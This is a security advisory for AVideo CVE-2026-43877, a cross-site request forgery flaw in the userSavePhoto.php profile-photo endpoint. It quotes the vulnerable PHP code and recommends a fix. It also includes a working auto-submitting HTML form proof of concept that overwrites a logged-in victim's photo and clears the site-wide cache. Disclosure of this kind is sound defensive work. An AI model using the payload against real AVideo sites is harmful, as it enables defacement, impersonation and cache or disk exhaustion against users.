AVideo CVE-2026-43877
MEDIUM
GHSA-jw8g-5j46-44rp
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Lifecycle Timeline
2DescriptionNVD
Summary
objects/userSavePhoto.php is a legacy profile-photo endpoint that accepts a base64 POST parameter and writes the decoded bytes to videos/userPhoto/photo<users_id>.png. Its only access control is User::isLogged(). It does not end in .json.php, so it is excluded from the project's global autoCSRFGuard (which is suffix-scoped in objects/include_config.php). There is no CSRF token, no Origin/Referer check, and no MIME validation of the decoded bytes. Because AVideo's default cookie policy is SameSite=None; Secure on HTTPS (objects/functionsPHP.php:227), an attacker who lures a logged-in user to a malicious page can overwrite that user's profile photo with arbitrary bytes and also triggers a site-wide clearCache(true) on every forged request.
Details
Handler (objects/userSavePhoto.php, 51 lines total):
// line 12 - only access control
if (!User::isLogged()) {
$obj->msg = __("You must be logged");
die(json_encode($obj));
}
// ...
// line 29 - unvalidated base64 from POST
$fileData = base64DataToImage($_POST['imgBase64']);
// line 30 - deterministic filename tied to the VICTIM's session
$fileName = 'photo'. User::getId().'.png';
$photoURL = $imagePath.$fileName;
// line 35 - raw bytes written to disk
$bytes = file_put_contents($global['systemRootPath'].$photoURL, $fileData);
// lines 43-48 - DB update + global cache invalidation unconditionally
$user = new User(User::getId());
$user->setPhotoURL($photoURL);
if ($user->save()) {
User::deleteOGImage(User::getId());
User::updateSessionInfo();
clearCache(true);
}base64DataToImage (objects/functionsImages.php:1026) performs no content validation:
function base64DataToImage($imgBase64) {
$img = $imgBase64;
$img = str_replace('data:image/png;base64,', '', $img);
$img = str_replace(' ', '+', $img);
return base64_decode($img);
}There is no call to getimagesizefromstring, imagecreatefromstring, or MIME detection. Arbitrary bytes up to post_max_size are accepted.
Why the global CSRF guard does not apply. objects/include_config.php (around line 314) only invokes autoCSRFGuard when the script filename matches *.json.php:
if (... $_SERVER['REQUEST_METHOD'] === 'POST' &&
substr($baseName, -9) === '.json.php') {
autoCSRFGuard($baseName, $_SERVER['SCRIPT_FILENAME']);
}userSavePhoto.php is missing the .json.php suffix, so neither autoCSRFGuard nor forbidIfIsUntrustedRequest runs. There is no explicit call to any of these in the file (verified by grep: no getCSRF, no forbidIfIsUntrustedRequest, no HTTP_ORIGIN, no HTTP_REFERER). Routing rewrites in .htaccess also expose this handler as /savePhoto.
Why the victim's cookie is sent cross-origin. objects/functionsPHP.php:227:
function _getCookieSameSiteValue($secure) {
return $secure ? 'None' : 'Lax';
}On HTTPS (the expected deployment), session cookies default to SameSite=None; Secure, which browsers attach to cross-site POSTs. A plain application/x-www-form-urlencoded form POST is a "simple request" under CORS rules and does not trigger a preflight, so the browser sends the POST and its cookie without the server having to opt in.
PoC
- Victim logs into the AVideo instance (e.g.,
https://victim.example.com).PHPSESSIDis set withSameSite=None; Secure. - Attacker hosts the following HTML on any domain:
<!doctype html>
<html><body>
<form id="f" action="https://victim.example.com/objects/userSavePhoto.php" method="POST">
<!-- Any bytes: here, 'HELLO WORLD' base64-encoded -->
<input name="imgBase64" value="SEVMTE8gV09STEQ=">
</form>
<script>document.forms[0].submit();</script>
</body></html>- Victim visits the attacker page in the same browser. The form auto-submits. The browser sends the POST with the victim's session cookie.
userSavePhoto.phppasses theUser::isLogged()check, decodes the base64, and writes the raw bytes tovideos/userPhoto/photo<VICTIM_USERS_ID>.png. It also calls$user->save(),User::deleteOGImage(),User::updateSessionInfo(), andclearCache(true).- Fetching
https://victim.example.com/videos/userPhoto/photo<VICTIM_USERS_ID>.png(the file is now the attacker's bytes -HELLO WORLDin this test case). The response is200 OKand the body equals the submitted bytes.
Replace the imgBase64 payload with a valid PNG to make the defacement visually persuasive, or with up to ~6 MB of any bytes to force a large write.
Impact
- Integrity - profile defacement of any logged-in user. One click lets an attacker replace a victim's profile photo with arbitrary bytes: offensive imagery, misleading branding, or a clone of another user's photo for impersonation. The file path is deterministic (
photo<users_id>.png), so the attacker can later direct others to the overwritten URL. - Availability - global cache thrash. Every successful forged request calls
clearCache(true), invalidating application-wide caches. Repeatedly tricking logged-in users into visiting the attacker page (e.g., by including the payload as a hidden iframe on a popular site) produces sustained cache invalidation. - Availability - disk pressure. With no size cap beyond PHP's
post_max_size(default 8 MB → ~6 MB after base64 decode), each forged submission writes a multi-megabyte file. Across many victims this enables distributed disk exhaustion. - No confidentiality impact and no code execution (files are served with
Content-Type: image/pngbased on extension, so SVG-with-script payloads are not interpreted). - Related endpoints.
objects/userSaveBackground.phpexhibits the same pattern (samebase64DataToImagesink, same lack of CSRF/Origin/MIME checks) and is exploitable identically; fix should be applied consistently.
Recommended Fix
Apply the existing same-origin guard that protects the *.json.php endpoints and add content validation. In objects/userSavePhoto.php, immediately after the login check:
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest('userSavePhoto');
$raw = $_POST['imgBase64'] ?? '';
if (strlen($raw) > 2 * 1024 * 1024) { // ~1.5 MB decoded cap
$obj->msg = __('Image too large');
die(json_encode($obj));
}
$fileData = base64DataToImage($raw);
if ($fileData === false || $fileData === '' || @imagecreatefromstring($fileData) === false) {
$obj->msg = __('Invalid image');
die(json_encode($obj));
}The longer-term fix is to broaden the global guard in objects/include_config.php so that autoCSRFGuard covers every authenticated POST handler, not only those whose filenames end in .json.php - the current suffix-based gating is a footgun that silently excludes legacy endpoints like userSavePhoto.php and userSaveBackground.php. Also consider moving the clearCache(true) call inside the if ($bytes) branch so that zero-byte writes do not invalidate the global cache.
AnalysisAI
Cross-site request forgery in AVideo's userSavePhoto.php endpoint allows unauthenticated remote attackers to overwrite any logged-in user's profile photo with arbitrary bytes by luring them to a malicious webpage. The vulnerability exploits a missing CSRF token and a default cookie policy of SameSite=None on HTTPS deployments, combined with unvalidated base64 decoding that accepts any file content. …
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